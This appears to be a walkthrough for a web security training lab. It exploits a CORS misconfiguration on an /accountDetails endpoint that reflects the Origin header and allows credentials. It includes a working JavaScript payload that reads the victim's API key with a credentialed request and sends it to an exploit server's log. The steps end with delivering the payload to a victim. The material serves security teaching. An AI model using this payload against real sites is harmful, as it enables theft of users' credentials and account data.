With your browser proxying through Burp Suite, turn intercept off, log into your account, and click "Account Details".
Review the history and observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
Send the request to Burp Repeater, and resubmit it with the added header: Origin: https://example.com
Observe that the origin is reflected in the Access-Control-Allow-Origin header.
Now browse to the exploit server, enter the following HTML, replacing $url with the URL for your specific lab and test it by clicking "view exploit":
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','$url/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
Observe that the exploit works - you have landed on the log page and your API key is in the URL.
Go back to the exploit server and click "Deliver exploit to victim".
Click "Access log", retrieve and submit the victim's API key to complete the lab.